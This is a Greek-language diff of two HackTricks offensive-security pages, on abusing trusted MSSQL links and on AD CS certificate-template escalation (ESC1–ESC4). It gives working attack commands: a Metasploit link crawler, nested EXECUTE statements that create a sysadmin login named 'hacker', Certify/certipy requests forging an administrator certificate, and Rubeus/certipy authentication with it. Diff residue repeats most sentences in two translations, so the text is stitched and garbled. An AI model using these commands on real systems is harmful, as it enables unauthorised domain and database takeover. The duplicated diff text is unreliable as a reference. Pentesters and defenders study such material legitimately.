Εάν ένα παράδειγμα MSSQL είναι αξιόπιστο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό παράδειγμα MSSQL. Εάν ο χρήστης έχει προνόμια στην αξιόπιστη βάση δεδομένων, θα μπορεί να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στο άλλο παράδειγμα**. Αυτές οι εμπιστοσύνες μπορούν να αλυσιδωθούν και σε κάποιο σημείο ο χρήστης ενδέχεται να βρει μια κακοδιαμορφωμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.
Εάν ένα παράδειγμα MSSQL είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό παράδειγμα MSSQL. Εάν ο χρήστης έχει προνόμια στην εμπιστευμένη βάση δεδομένων, θα μπορεί να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στο άλλο παράδειγμα**. Αυτές οι εμπιστοσύνες μπορούν να αλυσιδωθούν και σε κάποιο σημείο ο χρήστης ενδέχεται να βρει μια κακοδιαμορφωμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.
**Οι σύνδεσμοι μεταξύ βάσεων δεδομένων λειτουργούν ακόμα και σε εμπιστοσύνες δάσους.**
@ -129,15 +129,17 @@ Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
### Μη αυτόματη - Openquery()
Σημείωση ότι το metasploit θα προσπαθήσει να καταχραστεί μόνο τη λειτουργία `openquery()` στο MSSQL (εάν δεν μπορείτε να εκτελέσετε εντολή με το `openquery()`, θα πρέπει να δοκιμάσετε τη μέθοδο `EXECUTE` **χειροκίνητα** για την εκτέλεση εντολών, δείτε περισσότερα παρακάτω.)
Από το **Linux** μπορείτε να αποκτήσετε ένα κέλυφος κονσόλας MSSQL με τα **sqsh** και **mssqlclient.py.**
### Χειροκίνητα - Openquery()
Από τα **Windows** μπορείτε επίσης να βρείτε τους συνδέσμους και να εκτελέσετε εντολές χειροκίνητα χρησιμοποιώντας έναν **MSSQL client όπως το** [**HeidiSQL**](https://www.heidisql.com)
Από **Linux** μπορείτε να αποκτήσετε ένα κέλυφος κονσόλας MSSQL με **sqsh** και **mssqlclient.py.**
Από **Windows** μπορείτε επίσης να βρείτε τους συνδέσμους και να εκτελέσετε εντολές χειροκίνητα χρησιμοποιώντας έναν **πελάτη MSSQL όπως το** [**HeidiSQL**](https://www.heidisql.com)
_Σύνδεση χρησιμοποιώντας ταυτοποίηση Windows:_
![](<../../.gitbook/assets/image (805).png>)
![](<../../.gitbook/assets/image (805).png>)
#### Εύρεση Αξιόπιστων Συνδέσμων
```sql
@ -168,7 +170,7 @@ SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", '
```
### Εγχειρίδιο - EXECUTE
Μπορείτε επίσης να καταχραστείτε τα αξιόπιστα συνδέσμους χρησιμοποιώντας τη μέθοδο `EXECUTE`:
Μπορείτε επίσης να καταχραστείτε τους αξιόπιστους συνδέσμους χρησιμοποιώντας τη μέθοδο `EXECUTE`:
```bash
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
@ -176,13 +178,14 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
```
## Ανόρθωση Προνομίων Τοπικά
Ο **τοπικός χρήστης MSSQL** συνήθως έχει ένα ειδικό είδος προνομίου που ονομάζεται **`SeImpersonatePrivilege`**. Αυτό επιτρέπει στον λογαριασμό να "υποκαταστήσει έναν πελάτη μετά την πιστοποίηση".
Ο **τοπικός χρήστης MSSQL** συνήθως έχει ένα ειδικό είδος προνομίου που ονομάζεται **`SeImpersonatePrivilege`**. Αυτό επιτρέπει στον λογαριασμό να "υποδυθεί έναν πελάτη μετά την πιστοποίηση".
Μια στρατηγική που πολλοί συγγραφείς έχουν σκεφτεί είναι να αναγκάσουν ένα υπηρεσία SYSTEM να πιστοποιηθεί σε μια ψεύτικη ή man-in-the-middle υπηρεσία που δημιουργεί ο επιτιθέμενος. Αυτή η ψεύτικη υπηρεσία είναι σε θέση να υποκαταστήσει την υπηρεσία SYSTEM ενώ προσπαθεί να πιστοποιηθεί.
Μια στρατηγική που πολλοί συγγραφείς έχουν σκεφτεί είναι να αναγκάσουν ένα υπηρεσία SYSTEM να πιστοποιηθεί σε μια ψεύτικη ή man-in-the-middle υπηρεσία που δημιουργεί ο επιτιθέμενος. Αυτή η ψεύτικη υπηρεσία είναι σε θέση να υποδυθεί την υπηρεσία SYSTEM ενώ προσπαθεί να πιστοποιηθεί.
[SweetPotato](https://github.com/CCob/SweetPotato) διαθέτει μια συλλογή από αυτές τις διάφορες τεχνικές που μπορούν να εκτελεστούν μέσω της εντολής `execute-assembly` του Beacon.
[SweetPotato](https://github.com/CCob/SweetPotato) έχει μια συλλογή από αυτές τις διάφορες τεχνικές που μπορούν να εκτελεστούν μέσω της εντολής `execute-assembly` του Beacon.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -190,10 +193,10 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,24 +1,24 @@
# Κλιμάκωση τομέα AD CS
# Ανόδος Τομέα AD CS
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Αυτό είναι ένα σύνοψη των τεχνικών κλιμάκωσης των τμημάτων των αναρτήσεων:**
**Αυτό είναι ένα σύνοψη των τεχνικών ανόδου των τομέων των αναρτήσεων:**
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
@ -28,24 +28,24 @@
### Εξήγηση
### Εξήγηση Εσφαλμένων Προτύπων Πιστοποιητικών - ESC1
### Εξήγηση των Εσφαλμένων Προτύπων Πιστοποιητικών - ESC1
* **Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.**
* **Δεν απαιτείται έγκριση διευθυντή.**
* **Δεν απαιτούνται υπογραφές από εξουσιοδοτημένο προσωπικό.**
* **Οι περιγραφείς ασφάλειας στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας σε χρήστες με χαμηλά προνόμια να αποκτήσουν δικαιώματα εγγραφής.**
* **Οι περιγραφείς ασφαλείας στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας σε χρήστες με χαμηλά προνόμια να αποκτήσουν δικαιώματα εγγραφής.**
* **Τα πρότυπα πιστοποιητικών έχουν ρυθμιστεί για να ορίζουν EKUs που διευκολύνουν την πιστοποίηση:**
* Οι αναγνωριστικοί Χρήσης Επεκτεινόμενου Κλειδιού (EKU) όπως η Πιστοποίηση Πελάτη (OID 1.3.6.1.5.5.7.3.2), Πιστοποίηση Πελάτη PKINIT (1.3.6.1.5.2.3.4), Σύνδεση με Έξυπνη Κάρτα (OID 1.3.6.1.4.1.311.20.2.2), Οποιοσδήποτε Σκοπός (OID 2.5.29.37.0), ή κανένα EKU (SubCA) περιλαμβάνονται.
* **Η δυνατότητα για τους αιτούντες να συμπεριλάβουν ένα subjectAltName στο Αίτημα Υπογραφής Πιστοποιητικού (CSR) επιτρέπεται από το πρότυπο:**
* Το Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για τον έλεγχο ταυτότητας εάν υπάρχει. Αυτό σημαίνει ότι με την καθορισμένη SAN σε ένα CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσομοιώσει οποιονδήποτε χρήστη (π.χ., διαχειριστή τομέα). Εάν ο αιτών μπορεί να καθορίσει μια SAN δηλώνεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει στον αιτούντα να καθορίσει τη SAN.
* Αναγνωριστικά Χρήσης Επέκτασης Κλειδιών (EKU) όπως Πιστοποίηση Πελάτη (OID 1.3.6.1.5.5.7.3.2), Πιστοποίηση Πελάτη PKINIT (1.3.6.1.5.2.3.4), Σύνδεση Κάρτας Έξυπνης (OID 1.3.6.1.4.1.311.20.2.2), Οποιοσδήποτε Σκοπός (OID 2.5.29.37.0), ή κανένα EKU (SubCA) περιλαμβάνονται.
* **Η δυνατότητα για τους αιτούντες να συμπεριλάβουν ένα subjectAltName στο Αίτημα Υπογραφής Πιστοποίησης (CSR) επιτρέπεται από το πρότυπο:**
* Το Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για τον έλεγχο ταυτότητας εάν είναι παρόν. Αυτό σημαίνει ότι με την καθορισμένη SAN σε ένα CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσομοιώσει οποιονδήποτε χρήστη (π.χ. διαχειριστή τομέα). Εάν ο αιτών μπορεί να καθορίσει μια SAN δηλώνεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bit, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει την καθορισμό της SAN από τον αιτούντα.
{% hint style="danger" %}
Η διαμόρφωση που περιγράφεται επιτρέπει σε χρήστες με χαμηλά προνόμια να ζητήσουν πιστοποιητικά με οποιαδήποτε SAN της επιλογής τους, επιτρέποντας την πιστοποίηση ως οποιονδήποτε κύριο τομέα μέσω Kerberos ή SChannel.
{% endhint %}
Αυτό το χαρακτηριστικό ενεργοποιείται μερικές φορές για να υποστηρίξει τη δυνατότητα δημιουργίας πιστοποιητικών HTTPS ή host κατά τη διάρκεια της λειτουργίας ή λόγω έλλειψης κατανόησης.
Αυτό το χαρακτηριστικό ενεργοποιείται μερικές φορές για να υποστηρίξει τη δυνατότητα δημιουργίας πιστοποιητικών HTTPS ή οικοδεσπότη με την πτήση από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης.
Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτήν την επιλογή ενεργοποιεί έναν προειδοποιητικό μηχανισμό, το οποίο δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, που έχει ενεργοποιημένη την `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να περιλαμβάνει έναν αναγνωριστικό πιστοποίησης.
Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτήν την επιλογή ενεργοποιεί έναν προειδοποιητικό μηνύματος, το οποίο δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, το οποίο έχει ενεργοποιημένο το `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να περιλαμβάνει ένα OID πιστοποίησης.
### Κατάχρηση
@ -54,49 +54,49 @@
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
```
Για να **καταχραστείτε αυτήν την ευπάθεια για να προσωποποιήσετε έναν διαχειριστή**, μπορείτε να εκτελέσετε:
Για να **καταχραστείτε αυτή την ευπάθεια για να προσωποποιήσετε έναν διαχειριστή**, μπορείτε να εκτελέσετε:
```bash
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
```
Στη συνέχεια μπορείτε να μετατρέψετε το παραγόμενο **πιστοποιητικό σε μορφή `.pfx`** και να το χρησιμοποιήσετε για **πιστοποίηση χρησιμοποιώντας ξανά το Rubeus ή το certipy**:
Τότε μπορείτε να μετατρέψετε το παραγόμενο **πιστοποιητικό σε μορφή `.pfx`** και να το χρησιμοποιήσετε για **πιστοποίηση χρησιμοποιώντας το Rubeus ή το certipy** ξανά:
```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Τα Windows binaries "Certreq.exe" & "Certutil.exe" μπορούν να χρησιμοποιηθούν για τη δημιουργία του PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Η απαρίθμηση των προτύπων πιστοποιητικών εντός του σχήματος διαμόρφωσης του AD Forest, ειδικότερα αυτών που δεν απαιτούν έγκριση ή υπογραφές, διαθέτουν ένα EKU Πιστοποίησης Πελάτη ή Είσοδος με Κάρτα Ελέγχου, και με τη σημαία `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ενεργοποιημένη, μπορεί να γίνει με την εκτέλεση του παρακάτω ερωτήματος LDAP:
Η απαρίθμηση των προτύπων πιστοποιητικών εντός του σχήματος διαμόρφωσης του AD Forest, ειδικότερα αυτών που δεν απαιτούν έγκριση ή υπογραφές, διαθέτοντας ένα EKU Πιστοποίησης Πελάτη ή Είσοδος με Κάρτα Εξυπηρέτησης, και με τη σημαία `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ενεργοποιημένη, μπορεί να πραγματοποιηθεί εκτελώντας το ακόλουθο ερώτημα LDAP:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
## Εσφαλμένα διαμορφωμένα Πρότυπα Πιστοποιητικών - ESC2
## Εσφαλμένα Πρότυπα Πιστοποιητικών - ESC2
### Εξήγηση
Το δεύτερο σενάριο κατάχρησης είναι μια παραλλαγή του πρώτου:
1. Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.
2. Η απαίτηση για έγκριση από διευθυντή είναι απενεργοποιημένη.
2. Η απαίτηση για έγκριση διευθυντή απενεργοποιείται.
3. Η ανάγκη για εξουσιοδοτημένες υπογραφές παραλείπεται.
4. Ένα υπερβολικά επιτρεπτικό αποκριτήριο ασφαλείας στο πρότυπο πιστοποιητικού χορηγεί δικαιώματα εγγραφής πιστοποιητικού σε χρήστες με χαμηλά προνόμια.
5. **Το πρότυπο πιστοποιητικού ορίζεται να περιλαμβάνει το Any Purpose EKU ή κανένα EKU.**
Το **Any Purpose EKU** επιτρέπει την απόκτηση ενός πιστοποιητικού από έναν επιτιθέμενο για **οποιοδήποτε σκοπό**, συμπεριλαμβανομένης της πιστοποίησης πελάτη, της πιστοποίησης διακομιστή, της υπογραφής κώδικα, κ.λπ. Η ίδια **τεχνική που χρησιμοποιείται για το ESC3** μπορεί να χρησιμοποιηθεί για την εκμετάλλευση αυτού του σεναρίου.
Το **Any Purpose EKU** επιτρέπει την απόκτηση ενός πιστοποιητικού από έναν επιτιθέμενο για **οποιοδήποτε σκοπό**, συμπεριλαμβανομένης της πιστοποίησης πελάτη, της πιστοποίησης διακομιστή, της υπογραφής κώδικα, κλπ. Η ίδια **τεχνική που χρησιμοποιείται για το ESC3** μπορεί να χρησιμοποιηθεί για την εκμετάλλευση αυτού του σεναρίου.
Τα πιστοποιητικά με **κανένα EKU**, τα οποία λειτουργούν ως πιστοποιητικά υποδοχής CA, μπορούν να εκμεταλλευτούν για **οποιοδήποτε σκοπό** και μπορούν **επίσης να χρησιμοποιηθούν για την υπογραφή νέων πιστοποιητικών**. Έτσι, ένας επιτιθέμενος θα μπορούσε να καθορίσει αυθαίρετα EKU ή πεδία στα νέα πιστοποιητικά χρησιμοποιώντας ένα πιστοποιητικό υποδοχής CA.
Τα πιστοποιητικά με **κανένα EKU**, τα οποία λειτουργούν ως πιστοποιητικά υποδοχής υπογεγραμμένα από ανώτερη αρχή πιστοποίησης, μπορούν να εκμεταλλευτούν για **οποιοδήποτε σκοπό** και μπορούν **επίσης να χρησιμοποιηθούν για την υπογραφή νέων πιστοποιητικών**. Έτσι, ένας επιτιθέμενος θα μπορούσε να καθορίσει τυχαία EKUs ή πεδία στα νέα πιστοποιητικά χρησιμοποιώντας ένα πιστοποιητικό υποδοχής από ανώτερη αρχή πιστοποίησης.
Ωστόσο, τα νέα πιστοποιητικά που δημιουργούνται για **πιστοποίηση τομέα** δεν θα λειτουργήσουν εάν το υποδοχής CA δεν είναι εμπιστευμένο από το αντικείμενο **`NTAuthCertificates`**, το οποίο είναι η προεπιλεγμένη ρύθμιση. Παρ' όλα αυτά, ένας επιτιθέμενος μπορεί ακόμα να δημιουργήσει **νέα πιστοποιητικά με οποιοδήποτε EKU** και αυθαίρετες τιμές πιστοποιητικού. Αυτά θα μπορούσαν πιθανώς να **καταχραστούν** για μια ευρεία γκάμα σκοπών (π.χ., υπογραφή κώδικα, πιστοποίηση διακομιστή, κ.λπ.) και θα μπορούσαν να έχουν σημαντικές επιπτώσεις για άλλες εφαρμογές στο δίκτυο όπως SAML, AD FS ή IPSec.
Ωστόσο, τα νέα πιστοποιητικά που δημιουργούνται για **πιστοποίηση τομέα** δεν θα λειτουργήσουν εάν η υποδοχή υπογεγραμμένη από ανώτερη αρχή πιστοποίησης δεν είναι εμπιστευμένη από το αντικείμενο **`NTAuthCertificates`**, το οποίο είναι η προεπιλεγμένη ρύθμιση. Παρ' όλα αυτά, ένας επιτιθέμενος μπορεί ακόμα να δημιουργήσει **νέα πιστοποιητικά με οποιοδήποτε EKU** και τυχαίες τιμές πιστοποιητικού. Αυτά θα μπορούσαν πιθανόν να **καταχραστούν** για μια ευρεία γκάμα σκοπών (π.χ., υπογραφή κώδικα, πιστοποίηση διακομιστή, κλπ.) και θα μπορούσαν να έχουν σημαντικές επιπτώσεις για άλλες εφαρμογές στο δίκτυο όπως SAML, AD FS, ή IPSec.
Για να απαριθμήσετε τα πρότυπα που ταιριάζουν σε αυτό το σενάριο μέσα στο σχήμα διαμόρφωσης του δάσους AD, μπορεί να εκτελεστεί η ακόλουθη ερώτηση LDAP:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## Εσφαλμένα ρυθμισμένα πρότυπα πράκτορα εγγραφής - ESC3
## Εσφαλμένα Πρότυπα Πράκτορα Εγγραφής - ESC3
### Εξήγηση
Αυτό το σενάριο είναι παρόμοιο με το πρώτο και το δεύτερο, αλλά **καταχρώμενον** ένα **διαφορετικό EKU** (Πράκτορας Αίτησης Πιστοποιητικού) και **2 διαφορετικά πρότυπα** (επομένως έχει 2 σύνολα απαιτήσεων),
Αυτό το σενάριο είναι παρόμοιο με το πρώτο και το δεύτερο αλλά **καταχράζεται** ένα **διαφορετικό EKU** (Πράκτορας Αίτησης Πιστοποιητικού) και **2 διαφορετικά πρότυπα** (επομένως έχει 2 σύνολα απαιτήσεων),
Το **EKU του Πράκτορα Αίτησης Πιστοποιητικού** (OID 1.3.6.1.4.1.311.20.2.1), γνωστό ως **Πράκτορας Εγγραφής** στην τεκμηρίωση της Microsoft, επιτρέπει σε έναν αρχέτυπο να **εγγραφεί** για ένα **πιστοποιητικό** εκ μέρους ενός άλλου χρήστη.
@ -115,7 +115,7 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo
* Το Enterprise CA χορηγεί δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.
* Η έγκριση διευθυντή παρακάμπτεται.
* Η έκδοση σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια Απαίτηση Έκδοσης Πολιτικής Εφαρμογής που απαιτεί το EKU του Πράκτορα Αίτησης Πιστοποιητικού.
* Ένα EKU που ορίζεται στο πρότυπο πιστοποιητικού επιτρέπει την ταυτοποίηση τομέα.
* Ένα EKU που έχει οριστεί στο πρότυπο πιστοποιητικού επιτρέπει την ταυτοποίηση τομέα.
* Δεν εφαρμόζονται περιορισμοί για τους πράκτορες εγγραφής στον CA.
### Κατάχρηση
@ -134,17 +134,17 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
Οι **χρήστες** που επιτρέπεται να **λάβουν** ένα **πιστοποιητικό πράκτορα εγγραφής**, οι πρότυποι στους οποίους οι πράκτορες εγγραφής επιτρέπεται να εγγραφούν και οι **λογαριασμοί** για τους οποίους ο πράκτορας εγγραφής μπορεί να ενεργήσει μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **δεξί κλικ στην CA**, **κάνοντας κλικ στις ιδιότητες**, και στη συνέχεια **πλοήγηση** στην καρτέλα "Πράκτορες Εγγραφής".
Οι **χρήστες** που επιτρέπεται να **λάβουν** ένα πιστοποιητικό **πράκτορα εγγραφής**, οι πρότυπα στα οποία οι πράκτορες εγγραφής επιτρέπεται να εγγραφούν και οι **λογαριασμοί** για τους οποίους μπορεί να ενεργήσει ο πράκτορας εγγραφής μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **δεξί κλικ στην CA**, **κάνοντας κλικ στις ιδιότητες**, και στη συνέχεια **πλοήγηση** στην καρτέλα "Πράκτορες Εγγραφής".
Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CA είναι "Να μην περιορίζονται οι πράκτορες εγγραφής." Όταν οι διαχειριστές ενεργοποιούν τον περιορισμό στους πράκτορες εγγραφής, ρυθμίζοντάς το σε "Περιορισμός πράκτορων εγγραφής," η προεπιλεγμένη ρύθμιση παραμένει εξαιρετικά επιεικής. Επιτρέπει σε **Όλους** την πρόσβαση για εγγραφή σε όλους τους προτύπους ως οποιονδήποτε.
Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CA είναι "Να μην περιορίζονται οι πράκτορες εγγραφής". Όταν οι διαχειριστές ενεργοποιούν τον περιορισμό στους πράκτορες εγγραφής, ρυθμίζοντάς τον σε "Περιορισμός πράκτορων εγγραφής", η προεπιλεγμένη ρύθμιση παραμένει εξαιρετικά επιεικής. Επιτρέπει σε **Όλους** την πρόσβαση για εγγραφή σε όλα τα πρότυπα ως οποιονδήποτε.
## Ευάλωτος Έλεγχος Πρόσβασης Προτύπων Πιστοποιητικών - ESC4
## Ευάλωτος Έλεγχος Πρόσβασης Προτύπου Πιστοποιητικού - ESC4
### **Εξήγηση**
Το **αποκοινωτήριο ασφαλείας** στα **πρότυπα πιστοποιητικών** καθορίζει τα **δικαιώματα** που κατέχουν συγκεκριμένοι **κύριοι AD** σχετικά με το πρότυπο.
Το **αποκριτήριο ασφαλείας** στα **πρότυπα πιστοποιητικών** καθορίζει τα **δικαιώματα** που κατέχουν συγκεκριμένοι **κύριοι AD** σχετικά με το πρότυπο.
Αν ένας **εισβολέας** διαθέτει τα απαιτούμενα **δικαιώματα** για να **τροποποιήσει** ένα **πρότυπο** και να **εφαρμόσει** οποιεσδήποτε **εκμεταλλεύσιμες λανθάνουσες ρυθμίσεις** που περιγράφονται σε **προηγούμενες ενότητες**, μπορεί να διευκολυνθεί η ανόδος προνομίων.
